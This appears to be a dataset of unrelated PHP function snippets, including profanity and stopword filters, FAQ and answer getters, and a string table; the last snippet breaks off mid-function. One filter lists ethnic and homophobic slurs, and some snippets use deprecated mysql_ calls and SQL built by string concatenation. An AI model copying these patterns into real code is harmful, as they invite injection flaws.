"function contains_bad_words($string)\r\n{\r\n // This array contains words which trigger the \"meep\" feature of this function\r\n // (ie. if one of the array elements is found in the string, the function will\r\n // return true). Please note that these words do not constitute a rating of their\r\n // meanings - they're used for a first indication if the string might contain\r\n // inapropiate language.\r\n $bad_words = array(\r\n 'anal', 'ass', 'bastard', 'puta',\r\n 'bitch', 'blow', 'butt', 'trolo',\r\n 'cock', 'clit', 'cock', 'pija',\r\n 'cornh', 'cum', 'cunnil', 'verga',\r\n 'cunt', 'dago', 'defecat', 'cajeta',\r\n 'dick', 'dildo', 'douche', 'choto',\r\n 'erotic', 'fag', 'fart', 'trola',\r\n 'felch', 'fellat', 'fuck', 'puto',\r\n 'gay', 'genital', 'gosh', 'pajero',\r\n 'hate', 'homo', 'honkey', 'pajera',\r\n 'horny', 'vibrador', 'jew', 'lesbiana',\r\n 'jiz', 'kike', 'kill', 'eyaculacion',\r\n 'lesbian', 'masoc', 'masturba', 'anal',\r\n 'nazi', 'nigger', 'nude', 'mamada',\r\n 'nudity', 'oral', 'pecker', 'teta',\r\n 'penis', 'potty', 'pussy', 'culo',\r\n 'rape', 'rimjob', 'satan', 'mierda',\r\n 'screw', 'semen', 'sex', 'bastardo',\r\n 'shit', 'slut', 'snot', 'sorete',\r\n 'spew', 'suck', 'tit',\r\n 'twat', 'urinat', 'vagina',\r\n 'viag', 'vibrator', 'whore',\r\n 'xxx'\r\n );\r\n\r\n // Check for bad words\r\n for($i=0; $i<count($bad_words); $i++)\r\n {\r\n if(strstr(strtoupper($string), strtoupper($bad_words[$i])))\r\n {\r\n return(true);\r\n }\r\n }\r\n\r\n // Passed the test\r\n return(false);\r\n}",
"public function getVocabularyAnnotations(): array\n {\n return [];\n }",
"function parse_words()\n\t{\n\t\t//list of commonly used words\n\t\t// this can be edited to suit your needs\n\t\t$common = array(\"able\", \"about\", \"above\", \"act\", \"add\", \"afraid\", \"after\", \"again\", \"against\", \"age\", \"ago\", \"agree\", \"all\", \"almost\", \"alone\", \"along\", \"already\", \"also\", \"although\", \"always\", \"am\", \"amount\", \"an\", \"and\", \"anger\", \"angry\", \"animal\", \"another\", \"answer\", \"any\", \"appear\", \"apple\", \"are\", \"arrive\", \"arm\", \"arms\", \"around\", \"arrive\", \"as\", \"ask\", \"at\", \"attempt\", \"aunt\", \"away\", \"back\", \"bad\", \"bag\", \"bay\", \"be\", \"became\", \"because\", \"become\", \"been\", \"before\", \"began\", \"begin\", \"behind\", \"being\", \"bell\", \"belong\", \"below\", \"beside\", \"best\", \"better\", \"between\", \"beyond\", \"big\", \"body\", \"bone\", \"born\", \"borrow\", \"both\", \"bottom\", \"box\", \"boy\", \"break\", \"bring\", \"brought\", \"bug\", \"built\", \"busy\", \"but\", \"buy\", \"by\", \"call\", \"came\", \"can\", \"cause\", \"choose\", \"close\", \"close\", \"consider\", \"come\", \"consider\", \"considerable\", \"contain\", \"continue\", \"could\", \"cry\", \"cut\", \"dare\", \"dark\", \"deal\", \"dear\", \"decide\", \"deep\", \"did\", \"die\", \"do\", \"does\", \"dog\", \"done\", \"doubt\", \"down\", \"during\", \"each\", \"ear\", \"early\", \"eat\", \"effort\", \"either\", \"else\", \"end\", \"enjoy\", \"enough\", \"enter\", \"even\", \"ever\", \"every\", \"except\", \"expect\", \"explain\", \"fail\", \"fall\", \"far\", \"fat\", \"favor\", \"fear\", \"feel\", \"feet\", \"fell\", \"felt\", \"few\", \"fill\", \"find\", \"fit\", \"fly\", \"follow\", \"for\", \"forever\", \"forget\", \"from\", \"front\", \"gave\", \"get\", \"gives\", \"goes\", \"gone\", \"good\", \"got\", \"gray\", \"great\", \"green\", \"grew\", \"grow\", \"guess\", \"had\", \"half\", \"hang\", \"happen\", \"has\", \"hat\", \"have\", \"he\", \"hear\", \"heard\", \"held\", \"hello\", \"help\", \"her\", \"here\", \"hers\", \"high\", \"hill\", \"him\", \"his\", \"hit\", \"hold\", \"hot\", \"how\", \"however\", \"I\", \"if\", \"ill\", \"in\", \"indeed\", \"instead\", \"into\", \"iron\", \"is\", \"it\", \"its\", \"just\", \"keep\", \"kept\", \"knew\", \"know\", \"known\", \"late\", \"least\", \"led\", \"left\", \"lend\", \"less\", \"let\", \"like\", \"likely\", \"likr\", \"lone\", \"long\", \"look\", \"lot\", \"make\", \"many\", \"may\", \"me\", \"mean\", \"met\", \"might\", \"mile\", \"mine\", \"moon\", \"more\", \"most\", \"move\", \"much\", \"must\", \"my\", \"near\", \"nearly\", \"necessary\", \"neither\", \"never\", \"next\", \"no\", \"none\", \"nor\", \"not\", \"note\", \"nothing\", \"now\", \"number\", \"of\", \"off\", \"often\", \"oh\", \"on\", \"once\", \"only\", \"or\", \"other\", \"ought\", \"our\", \"out\", \"please\", \"prepare\", \"probable\", \"pull\", \"pure\", \"push\", \"put\", \"raise\", \"ran\", \"rather\", \"reach\", \"realize\", \"reply\", \"require\", \"rest\", \"run\", \"said\", \"same\", \"sat\", \"saw\", \"say\", \"see\", \"seem\", \"seen\", \"self\", \"sell\", \"sent\", \"separate\", \"set\", \"shall\", \"she\", \"should\", \"side\", \"sign\", \"since\", \"so\", \"sold\", \"some\", \"soon\", \"sorry\", \"stay\", \"step\", \"stick\", \"still\", \"stood\", \"such\", \"sudden\", \"suppose\", \"take\", \"taken\", \"talk\", \"tall\", \"tell\", \"ten\", \"than\", \"thank\", \"that\", \"the\", \"their\", \"them\", \"then\", \"there\", \"therefore\", \"these\", \"they\", \"this\", \"those\", \"though\", \"through\", \"till\", \"to\", \"today\", \"told\", \"tomorrow\", \"too\", \"took\", \"tore\", \"tought\", \"toward\", \"tried\", \"tries\", \"trust\", \"try\", \"turn\", \"two\", \"under\", \"until\", \"up\", \"upon\", \"us\", \"use\", \"usual\", \"various\", \"verb\", \"very\", \"visit\", \"want\", \"was\", \"we\", \"well\", \"went\", \"were\", \"what\", \"when\", \"where\", \"whether\", \"which\", \"while\", \"white\", \"who\", \"whom\", \"whose\", \"why\", \"will\", \"with\", \"within\", \"without\", \"would\", \"yes\", \"yet\", \"you\", \"young\", \"your\", \"br\", \"img\", \"p\",\"lt\", \"gt\", \"quot\", \"copy\");\n\t\t//create an array out of the site contents\n\t\t$s = split(\" \", $this->contents);\n\t\t//initialize array\n\t\t$k = array();\n\t\t//iterate inside the array\n\t\tforeach( $s as $key=>$val ) {\n\t\t\t//delete single or two letter words and\n\t\t\t//Add it to the list if the word is not\n\t\t\t//contained in the common words list.\n\t\t\tif(mb_strlen(trim($val)) >= $this->wordLengthMin && !in_array(trim($val), $common) && !is_numeric(trim($val))) {\n\t\t\t\t$k[] = trim($val);\n\t\t\t}\n\t\t}\n\t\t//count the words\n\t\t$k = array_count_values($k);\n\t\t//sort the words from\n\t\t//highest count to the\n\t\t//lowest.\n\t\t$occur_filtered = $this->occure_filter($k, $this->wordOccuredMin);\n\t\tarsort($occur_filtered);\n\n\t\t$imploded = $this->implode(\", \", $occur_filtered);\n\t\t//release unused variables\n\t\tunset($k);\n\t\tunset($s);\n\n\t\treturn $imploded;\n\t}",
"function getAnswerText(){\r\n\t\tif($this->inDB==false||$this->answer==null){\r\n\t\t\t$type = $this->dbq->getAnswerType($this->answer_id);\r\n\t\t\tif($type==3 || $type==7 || $type==8){\r\n\t\t\t\t$io = new FileIOHandler();\r\n\t\t\t\t$this->answer=$io->MediaRead($type,$this->answer_id);\r\n\t\t\t}else{\r\n\t\t\t\t$temp = $this->dbq->getAnswer($this->answer_id);\r\n\t\t\t\t$num=mysql_numrows($temp);\r\n\t\t\t\t\tif($num==1){\r\n\t\t\t\t\t\tif($type==1){\r\n\t\t\t\t\t\t\t$this->answer=mysql_result($temp,0,\"text\");\r\n\t\t\t\t\t\t}elseif($type== 2 || $type==4 || $type==5 || $type==9){\r\n\t\t\t\t\t\t\t$this->answer=mysql_result($temp,0,\"num\");\t\t\t\t\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\treturn $this->answer;\t\t\r\n\t}",
"public function hasVocabularyTerms() {\n return $this->_has(2);\n }",
"public function actionVote()\n {\n $answers = Yii::$app->request->post('answers');\n $userID = isset(Yii::$app->user->id) ? Yii::$app->user->id : false;\n if (is_array($answers) && $userID) {\n $vote = new QuestionVote();\n foreach ($answers as $aid) {\n if (is_numeric($aid)) {\n $answer = $this->findModel($aid);\n if (isset($answer->id) && isset($answer->parent_id)) {\n if(!isset($vote->id)) {\n $vote->question_id = $answer->parent_id;\n $vote->user_id = $userID;\n if(!$vote->save()) break;\n }\n if (isset($vote->id)) {\n $answer->voutes++;\n $answer->save(false);\n }\n }\n }\n }\n Yii::$app->getSession()->setFlash('success-question', 'Ваш ответ на опрос успешно сохранен.');\n }\n return Yii::$app->getResponse()->redirect(Url::to('/'));\n }",
"public function getKeyword()\n {\n return 'ANSWERED';\n }",
"function getCVocabularyNames() {\n\t global $sotfVars;\n\t // avail langs are stored in sotf_vars and updated by install.php\n\t // roles\n\t $langs = explode(',', $sotfVars->get('roles_langs', 'eng'));\n\t foreach($langs as $l) {\n\t\t$retval[] = array(\"roles\",\"\",$l);\n\t }\n\t // genres\n\t $langs = explode(',', $sotfVars->get('genres_langs', 'eng'));\n\t foreach($langs as $l) {\n\t\t$retval[] = array(\"genres\",\"\",$l);\n\t }\n\t // subject trees\n\t $trees = $this->listTrees();\n\t foreach($trees as $t) {\n\t\t$langs = explode(',', $t['languages']);\n\t\tforeach($langs as $l) {\n\t\t $retval[] = array(\"topics\", $t['tree_id'], $l);\n\t\t}\n\t }\n\t return $retval;\n }",
"public function getFaqAnswer () {\n\t$preValue = $this->preGetValue(\"faqAnswer\"); \n\tif($preValue !== null && !\\Pimcore::inAdmin()) { \n\t\treturn $preValue;\n\t}\n\t$data = $this->getClass()->getFieldDefinition(\"faqAnswer\")->preGetData($this);\n\treturn $data;\n}",
"function getQuestionType()\n\t{\n\t\treturn \"assTextSubset\";\n\t}",
"public function getReasonPhrase()\n {\n }",
"function correctAnswer() {\n\t}",
"public function answer()\n {\n $answer = \\App\\Answer::orderby('created_at', 'desc')->get();\n return view('answer.get', [\n 'answers' => $answer,\n ]);\n }",
"public function getReasonPhrase(): string;",
"public function getExplanation(){\n\t\treturn $this->_explanation;\n\t}",
"public function __toString()\n {\n return LSAnswer::toString();\n }",
"private static function getEnglish($textId)\n {\n switch ($textId)\n {\n case StringID::ServerSideRuntimeError: return \"Server-side runtime error\";\n case StringID::InsufficientPrivileges: return \"You do not have sufficient privileges to perform this action.\";\n case StringID::InvalidLogin: return \"This user does not exist or is not activated or the password is incorrect.\";\n case StringID::UploadUnsuccessful: return \"Upload failed. Try again or try submitting another file.\";\n case StringID::HackerError: return \"Unexpected error in reaction to input data. Please contact the administrator and give him as much information about the action you attempted as possible.\";\n\n case StringID::MailError: return \"E-mail could not be sent.\";\n case StringID::DatabaseError: return \"Database query was not successful.\";\n case StringID::InvalidInput: return \"Your input is incomplete or invalid. Please modify it in accordance with the displayed instructions.\";\n case StringID::FileSystemError: return \"A file system operation failed. The administrator should verify that correct access rights are set for relevant directories.\";\n case StringID::SessionInvalidated: return \"Your session has become invalid. Perhaps you were inactive for too long or the program was updated to a newer version. Please log out, refresh the page (Ctrl+F5) and log in again.\";\n\n case StringID::ProblemNameExists: return \"A problem with this name already exists.\";\n case StringID::GroupNameExists: return \"A group with this name already exists.\";\n case StringID::NoPluginUsed: return \"This problem has no automatic grading.\";\n case StringID::InvalidActivationCode: return \"This activation code does not exist.\";\n case StringID::NotAuthorizedForName: return \"hidden\";\n\n case StringID::YouCannotRemoveYourself: return \"You cannot remove yourself.\";\n case StringID::CannotRemoveBasicStudentType: return \"User type 'STUDENT' (ID 1) cannot be removed, because this type is automatically assigned to newly registered users.\";\n case StringID::CannotDeleteGradedSubmissions: return \"It is not permitted to delete a graded submission.\";\n\n\n case StringID::ReloadManifests_InvalidFolder: return \"In the database, this plugin does not have a correctly filled mainfile entry and will probably not work. Nothing was changed now.\";\n case StringID::ReloadManifests_MalformedXmlOrFileMissing: return \"The manifest XML file is missing or malformed. Nothing was changed now.\";\n case StringID::ReloadManifests_DescriptionMismatch: return \"Descriptions did not match. Database description amended.\";\n case StringID::ReloadManifests_IdentifierMismatch: return \"Plugin identifiers did not match. Database record amended.\";\n case StringID::ReloadManifests_ArgumentsMismatch: return \"Argument descriptions did not match. Database argument descriptions amended.\";\n case StringID::ReloadManifests_DatabaseCorrespondsToManifests: return \"All plugin descriptions in the database already matched the plugin descriptions in the manifests.\";\n\n case StringID::TestCannotContainQuestionsOfDifferentLectures: return \"A test cannot contain questions from two different lectures.\";\n case StringID::ChooseAtLeastOneQuestion: return \"At least one question must be chosen.\";\n case StringID::AttachmentBelongsToAnotherLecture: return \"One of the attachments to this question are associated with another lecture.\";\n\n case StringID::PluginNameAlreadyExists: return \"A plugin with this name already exists.\";\n case StringID::PluginFolderAlreadyExists: return \"There is already a folder with this plugin name.\";\n case StringID::UnzipUnsuccessful: return \"Unzipping the uploaded file failed.\";\n case StringID::BadlyFormedPlugin: return \"This plugin file is malformed, perhaps it's missing the manifest file, the main file or the manifest file is malformed.\";\n\n case StringID::AttachmentExists: return \"An attachment with this name already exists for this lecture.\";\n case StringID::ResetLinkDoesNotExist: return \"This password reset code is not present in the database. Perhaps it was overwritten by a newly generated one.\";\n case StringID::ResetLinkExpired: return \"More than 24 hours elapsed since this code was generated and it was therefore disabled. Please generate a new one.\";\n case StringID::UserNameExists: return \"This user name is already taken.\";\n\n case StringID::ThisSubmissionIsPlagiarism : return \"This submission is suspiciously similar to another one.\";\n case StringID::ThisSubmissionIsInnocent: return \"Similarity analysis: The system did not detect significant similarity to any other submission.\";\n case StringID::ThisHasYetToBeCheckedForPlagiarism : return \"Similarity analysis: This submission is queued for similarity analysis.\";\n case StringID::GradingRequested : return \"Grading requested by student!\";\n case StringID::CannotDeleteQuestionThatsPartOfATest: return \"The question cannot be deleted because it is part of a test. Delete the test first.\";\n case StringID::SubscriptionNotYetAccepted: return \"The tutor has yet to confirm your membership in this assignment's group.\";\n case StringID::CannotDeleteHandsoffSubmissions: return \"You cannot delete a submission if you requested its grading. You should contact your tutor by e-mail if you do not wish the submission to be graded.\";\n }\n throw new \\Exception(\"This string (\" . $textId . \") does not exist.\");\n }",
"public function getReasonPhrase();",
"public function testMediumValuableWord() : void\n {\n $word = 'quirky';\n $this->assertEquals(22, score($word));\n }",
"public function create()\n {\n return view('question_rate_answer_langs.create');\n }",
"public function stopwords()\n {\n //return array(' a ',' about ',' above ',' above ',' across ',' after ',' afterwards ',' again ',' against ',' all ',' almost ',' alone ',' along ',' already ',' also ',' although ',' always ',' am ',' among ',' amongst ',' amoungst ',' amount ',' an ',' and ',' another ',' any ',' anyhow ',' anyone ',' anything ',' anyway ',' anywhere ',' are ',' around ',' as ',' at ',' back ',' be ',' became ',' because ',' become ',' becomes ',' becoming ',' been ',' before ',' beforehand ',' behind ',' being ',' below ',' beside ',' besides ',' between ',' beyond ',' bill ',' both ',' bottom ',' but ',' by ',' call ',' can ',' cannot ',' cant ',' co ',' con ',' could ',' couldnt ',' cry ',' de ',' describe ',' detail ',' do ',' done ',' down ',' due ',' during ',' each ',' eg ',' eight ',' either ',' eleven ',' else ',' elsewhere ',' empty ',' enough ',' etc ',' even ',' ever ',' every ',' everyone ',' everything ',' everywhere ',' except ',' few ',' fifteen ',' fify ',' fill ',' find ',' fire ',' first ',' five ',' for ',' former ',' formerly ',' forty ',' found ',' four ',' from ',' front ',' full ',' further ',' get ',' give ',' go ',' had ',' has ',' hasnt ',' have ',' he ',' hence ',' her ',' here ',' hereafter ',' hereby ',' herein ',' hereupon ',' hers ',' herself ',' him ',' himself ',' his ',' how ',' however ',' hundred ',' ie ',' if ',' in ',' inc ',' indeed ',' interest ',' into ',' is ',' it ',' its ',' itself ',' keep ',' last ',' latter ',' latterly ',' least ',' less ',' ltd ',' made ',' many ',' may ',' me ',' meanwhile ',' might ',' mill ',' mine ',' more ',' moreover ',' most ',' mostly ',' move ',' much ',' must ',' my ',' myself ',' name ',' namely ',' neither ',' never ',' nevertheless ',' next ',' nine ',' no ',' nobody ',' none ',' noone ',' nor ',' not ',' nothing ',' now ',' nowhere ',' of ',' off ',' often ',' on ',' once ',' one ',' only ',' onto ',' or ',' other ',' others ',' otherwise ',' our ',' ours ',' ourselves ',' out ',' over ',' own ',' part ',' per ',' perhaps ',' please ',' put ',' rather ',' re ',' same ',' see ',' seem ',' seemed ',' seeming ',' seems ',' serious ',' several ',' she ',' should ',' show ',' side ',' since ',' sincere ',' six ',' sixty ',' so ',' some ',' somehow ',' someone ',' something ',' sometime ',' sometimes ',' somewhere ',' still ',' such ',' system ',' take ',' ten ',' than ',' that ',' the ',' their ',' them ',' themselves ',' then ',' thence ',' there ',' thereafter ',' thereby ',' therefore ',' therein ',' thereupon ',' these ',' they ',' thickv ',' thin ',' third ',' this ',' those ',' though ',' three ',' through ',' throughout ',' thru ',' thus ',' to ',' together ',' too ',' top ',' toward ',' towards ',' twelve ',' twenty ',' two ',' un ',' under ',' until ',' up ',' upon ',' us ',' very ',' via ',' was ',' we ',' well ',' were ',' what ',' whatever ',' when ',' whence ',' whenever ',' where ',' whereafter ',' whereas ',' whereby ',' wherein ',' whereupon ',' wherever ',' whether ',' which ',' while ',' whither ',' who ',' whoever ',' whole ',' whom ',' whose ',' why ',' will ',' with ',' within ',' without ',' would ',' yet ',' you ',' your ',' yours ',' yourself ',' yourselves ',' the ');\n\t\tif($this->user->option('language') == 0)\n\t\t{\n\t\t\treturn array();\n\t\t}\n $stopword = ORM::factory('Stopword', $this->user->option('language'));\n\t\t$words = explode($stopword->delimiter,$stopword->words);\n\t\treturn $words;\n }",
"public function verb();",
"public function showResults(){\n $this->extractQuestions();\n }",
"public function answer()\n\t{\n\t\tif($db = $this->module->db())\n\t\t{\n\t\t\tif($result = $db->query(\"SELECT\n\t\t\t\ts_answer\n\t\t\t\tFROM\n\t\t\t\t\".$db->getPrefix().\"faq\n\t\t\t\tWHERE\n\t\t\t\tid=\".$this->id.\";\"))\n\t\t\t{\n\t\t\t\twhile( $line = mysql_fetch_array( $result ) )\n\t\t\t\t{\n\t\t\t\t\treturn urldecode($line[0]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn NULL;\n\t}",
"public static function get_suggested_policy_text()\n {\n }",
"public function vocabulary() {\n $vocabularies = taxonomy_get_vocabularies();\n if (is_numeric($this->config['vocabulary'])) {\n return $vocabularies[$this->config['vocabulary']];\n }\n else {\n foreach ($vocabularies as $vocabulary) {\n if ($vocabulary->module == $this->config['vocabulary']) {\n return $vocabulary;\n }\n }\n }\n }",
"public function terms()\n {\n return view('main::terms')\n ->with('about_us_english', Fixed::where('name', 'LIKE', 'Terms and Conditions')->first()->body)\n ->with('about_us_arabic', Helper::localization('fixed_pages', 'body', 2, 2));\n }",
"private function _spelling_data() \n\t{\n\t\t$query = ee()->db->query( \" SELECT COUNT(term_id) AS total_terms FROM exp_super_search_terms WHERE count > 0 AND entry_count = 0 AND suggestions = '' \");\n\n\t\t$this->cached_vars['spelling_unknown_count'] = $query->row('total_terms');\n\t\t\n\t\t$queryb = ee()->db->query( \" SELECT COUNT(term_id) AS total_terms FROM exp_super_search_terms WHERE count > 0 AND entry_count = 0 AND suggestions != '' \");\n\n\t\t$this->cached_vars['spelling_known_count'] = $queryb->row('total_terms');\n\n\t\t// -------------------------------------\n\t\t// Spelling\n\t\t// -------------------------------------\n\n\t\t$this->cached_vars['spelling_build_lang'] = lang('lexicon_build');\n\n\t\t$this->cached_vars['spelling_state_lang'] = '<strong>34</strong> Terms with suggestions recorded.<br/> <strong>1</strong> unknown term to find suggestions.';\n\n\t\t$plural = ( $this->cached_vars['spelling_unknown_count'] > 1 ? 's' : '' );\n\n\t\t$this->cached_vars['suggestions_unknown_lang'] = str_replace( array('%i%', '%s%'), array( $this->cached_vars['spelling_unknown_count'], $plural ) , lang('spelling_unknown_line') );\n\n\n\t\t$plural = ( $this->cached_vars['spelling_known_count'] > 1 ? 's' : '' );\n\n\t\t$this->cached_vars['suggestions_known_lang'] = str_replace( array('%i%', '%s%'), array( $this->cached_vars['spelling_known_count'], $plural ) , lang('spelling_known_line') );\n\n\t\t$this->cached_vars['spelling_build_url'] = $this->base.'&method=spelling&build=yes&total='.$query->row('total_terms').'&batch=0';\n\n\t\t$this->cached_vars['success_png_url'] = $this->theme_folder_url() . \"images/success.png\";\n\n\t\t$this->cached_vars['just_spelling'] = FALSE; \n\n\t\treturn;\n }",
"public function getAnswer()\n {\n return $this->answer;\n }",
"function GetKeyWords() {\n\t\t$lTitle = str_replace(\",\", \" \", str_replace(\", \", \" \", $this->m_pubdata['storytitle']));\n\t\t$lSubTitle = str_replace(\",\", \" \", str_replace(\", \", \" \", $this->m_pubdata['storysubtitle']));\n\t\t$lSupTitle = str_replace(\",\", \" \", str_replace(\", \", \" \", $this->m_pubdata['storysuptitle']));\n\t\t//~ $lDesc = str_replace(\",\", \" \", str_replace(\", \", \" \", $this->m_pubdata['description']));\n\t\t$lTmpSTr = ($lTitle ? \", \" . $lTitle : \"\") . ($lSubTitle ? \", \" . $lSubTitle : \"\") . ($lSupTitle ? \", \" . $lSupTitle : \"\") . ($lDesc ? \", \" . $lDesc : \"\") . ($this->m_pubdata['keywordsnaked'] ? \", \" . $this->m_pubdata['keywordsnaked'] : \"\");\n\t\t$lArr = split(' ', $lTmpSTr);\n\t\tforeach($lArr as $k) {\n\t\t\t$k = trim($k);\n\t\t\t$lRetStr .= $k . ' ';\n\t\t}\n\t\treturn $lRetStr;\n\t}",
"public function testCreateSurveyQuestionChoice0()\n {\n }",
"public function testCreateSurveyQuestionChoice0()\n {\n }",
"function __construct() {\n \t$this->stopwords = explode(\",\", \"1,2,3,4,5,6,7,8,9,2x,3x,4x,5x,6x,x2,x3,x4,x5,x6,?,!,+,-,@,#,$,%,^,&,*,(,),=,able,about,above,according,accordingly,across,actually,after,afterwards,again,against,ain't,all,allow,allows,almost,alone,along,already,also,although,always,am,among,amongst,an,and,another,any,anybody,anyhow,anyone,anything,anyway,anyways,anywhere,apart,appear,appreciate,appropriate,are,aren't,around,as,aside,ask,asking,associated,at,available,away,awfully,be,became,because,become,becomes,becoming,been,before,beforehand,behind,being,believe,below,beside,besides,best,better,between,beyond,both,brief,but,by,c'mon,c's,came,can,can't,cannot,cant,cause,causes,certain,certainly,changes,clearly,co,com,come,comes,concerning,consequently,consider,considering,contain,containing,contains,corresponding,could,couldn't,course,currently,definitely,described,despite,did,didn't,different,do,does,doesn't,doing,don't,done,down,downwards,during,each,edu,eg,eight,either,else,elsewhere,enough,entirely,especially,et,etc,even,ever,every,everybody,everyone,everything,everywhere,ex,exactly,example,except,far,few,fifth,first,five,followed,following,follows,for,former,formerly,forth,four,from,further,furthermore,get,gets,getting,given,gives,go,goes,going,gone,got,gotten,greetings,had,hadn't,happens,hardly,has,hasn't,have,haven't,having,he,he's,hello,help,hence,her,here,here's,hereafter,hereby,herein,hereupon,hers,herself,hi,him,himself,his,hither,hopefully,how,howbeit,however,i'd,i'll,i'm,i've,ie,if,ignored,immediate,in,inasmuch,inc,indeed,indicate,indicated,indicates,inner,insofar,instead,into,inward,is,isn't,it,it'd,it'll,it's,its,itself,just,keep,keeps,kept,know,knows,known,last,lately,later,latter,latterly,least,less,lest,let,let's,like,liked,likely,little,look,looking,looks,ltd,mainly,many,may,maybe,me,mean,meanwhile,merely,might,more,moreover,most,mostly,much,must,my,myself,name,namely,nd,near,nearly,necessary,need,needs,neither,never,nevertheless,new,next,nine,no,nobody,non,none,noone,nor,normally,not,nothing,novel,now,nowhere,obviously,of,off,often,oh,ok,okay,old,on,once,one,ones,only,onto,or,other,others,otherwise,ought,our,ours,ourselves,out,outside,over,overall,own,particular,particularly,per,perhaps,placed,please,plus,possible,presumably,probably,provides,que,quite,qv,rather,rd,re,really,reasonably,regarding,regardless,regards,relatively,respectively,right,said,same,saw,say,saying,says,second,secondly,see,seeing,seem,seemed,seeming,seems,seen,self,selves,sensible,sent,serious,seriously,seven,several,shall,she,should,shouldn't,since,six,so,some,somebody,somehow,someone,something,sometime,sometimes,somewhat,somewhere,soon,sorry,specified,specify,specifying,still,sub,such,sup,sure,t's,take,taken,tell,tends,th,than,thank,thanks,thanx,that,that's,thats,the,their,theirs,them,themselves,then,thence,there,there's,thereafter,thereby,therefore,therein,theres,thereupon,these,they,they'd,they'll,they're,they've,think,third,this,thorough,thoroughly,those,though,three,through,throughout,thru,thus,to,together,too,took,toward,towards,tried,tries,truly,try,trying,twice,two,un,under,unfortunately,unless,unlikely,until,unto,up,upon,us,use,used,useful,uses,using,usually,value,various,very,via,viz,vs,want,wants,was,wasn't,way,we,we'd,we'll,we're,we've,welcome,well,went,were,weren't,what,what's,whatever,when,whence,whenever,where,where's,whereafter,whereas,whereby,wherein,whereupon,wherever,whether,which,while,whither,who,who's,whoever,whole,whom,whose,why,will,willing,wish,with,within,without,won't,wonder,would,would've,wouldn't,yes,yet,you,you'd,you'll,you're,you've,your,yours,yourself,yourselves,zero,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z\");\n }",
"public function biography();",
"public function show(Answere $answere)\n {\n //\n }",
"function getPlural();",
"public function run()\n {\n $answer = new Answer();\n $answer->nameSurname = 'Hüseyin ARI';\n $answer->answerContent = 'Anlayamadığınız yeri belirtirseniz yardımcı olabilirim...';\n $answer->commentId = 2;\n $answer->save();\n\n $answer = new Answer();\n $answer->nameSurname = 'Hüseyin ARI';\n $answer->answerContent = 'Rica ederiz. İyi günler...';\n $answer->commentId = 3;\n $answer->save();\n\n $answer = new Answer();\n $answer->nameSurname = 'Deniz Tuna';\n $answer->answerContent = \"Java nesne yönelimli programlama\";\n $answer->commentId = 74;\n $answer->save();\n }",
"public function _strings_for_pot()\n {\n }",
"function showPhrases($id, $name){\n\trequire('items.php');\n\n\t// check for empty parameters\n\tif ( ($name == '') || (!isset($name)) ) {\n\t\treturn error(\"partial\");\n\t}\n\n\tif ( $id == 100 ) {\n\t\treturn error(\"not_found\");\n\t}\n\n\t// place all validation code here\n\tif ( ($id < 0) || ($id > 4) ){\n\t\treturn error('bounds');\n\t}\n\n\t// Check the name for swear words\n\tif ( strtolower($name) == 'ass'){\n\t\treturn error('custom', '', 'Please do not use drunken sailor language when using the webservice.');\n\t}\n\n\t// replace all the needles with the name\n\t$phrase = preg_replace(\"/NnnnnnnnnN/\", $name, $phrases[$id]);\n\t$fin_data['status'] = array('status'=>'ok','message'=>'');\n\t$fin_data['phrase'] = $phrase;\n\n\treturn $fin_data;\n}",
"function getCorrectAnswers()\n\t{\n\t\treturn $this->correctanswers;\n\t}",
"function &keyWords()\n {\n if ( $this->State_ == \"Dirty\" )\n $this->get( $this->ID );\n\n return htmlspecialchars( $this->KeyWords );\n }",
"function words_init() {\r\n\t\tif(!isset($this->words_array)) {\r\n\t\t\tif($this->language === \"french\") {\r\n\t\t\t\t//$this->words_array = explode(\"\\n\", utf8_encode(file_get_contents(\"acronyms/fra/mots.txt\")));\r\n\t\t\t\t//$this->entitied_words_array = explode(\"\\n\", utf8_encode(htmlentities(file_get_contents(\"acronyms/fra/mots.txt\"))));\r\n\t\t\t\t//$this->words_array = explode(\"\\n\", iconv(\"iso-8859-1\", $this->config['encoding'] . \"//TRANSLIT\", file_get_contents(\"acronyms/fra/mots.txt\")));\r\n\t\t\t\t$this->words_array = explode(\"\\n\", file_get_contents('abbr' . DS . 'fra' . DS . 'mots.txt'));\r\n\t\t\t\t$this->entitied_words_array = explode(\"\\n\", htmlentities(file_get_contents('abbr' . DS . 'fra' . DS . 'mots.txt')));\r\n\t\t\t} else { // default is english\r\n\t\t\t\t//$this->words_array = explode(\"\\r\\n\", utf8_encode(file_get_contents(\"acronyms/eng/words.txt\")));\r\n\t\t\t\t//$this->entitied_words_array = explode(\"\\r\\n\", utf8_encode(htmlentities(file_get_contents(\"acronyms/eng/words.txt\"))));\r\n\t\t\t\t//$this->words_array = explode(\"\\r\\n\", iconv(\"iso-8859-1\", $this->config['encoding'] . \"//TRANSLIT\", file_get_contents(\"acronyms/eng/words.txt\")));\r\n\t\t\t\t$this->words_array = explode(\"\\r\\n\", file_get_contents('abbr' . DS . 'eng' . DS . 'words.txt'));\r\n\t\t\t\t$this->entitied_words_array = explode(\"\\r\\n\", htmlentities(file_get_contents('abbr' . DS . 'eng' . DS . 'words.txt')));\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!isset($this->stop_words_array)) {\r\n\t\t\tif($this->language === \"french\") {\r\n\t\t\t\t$this->stopWordsFile = 'abbr' . DS . 'fra' . DS . 'stop_words.txt';\r\n\t\t\t} else { // default to english\r\n\t\t\t\t$this->stopWordsFile = 'abbr' . DS . 'eng' . DS . 'stop_words_small.txt';\r\n\t\t\t}\r\n\t\t\t//$this->stop_words_array = explode(\"\\r\\n\", utf8_encode(file_get_contents($this->stopWordsFile)));\r\n\t\t\t//$this->entitied_stop_words_array = explode(\"\\r\\n\", utf8_encode(htmlentities(file_get_contents($this->stopWordsFile))));\r\n\t\t\t//$this->stop_words_array = explode(\"\\r\\n\", iconv(\"iso-8859-1\", $this->config['encoding'] . \"//TRANSLIT\", file_get_contents($this->stopWordsFile)));\r\n\t\t\t$this->stop_words_array = explode(\"\\r\\n\", file_get_contents($this->stopWordsFile));\r\n\t\t\t$this->entitied_stop_words_array = explode(\"\\r\\n\", htmlentities(file_get_contents($this->stopWordsFile)));\r\n\t\t}\r\n\t\tif(!isset($this->french_headings_normalization_exceptions)) 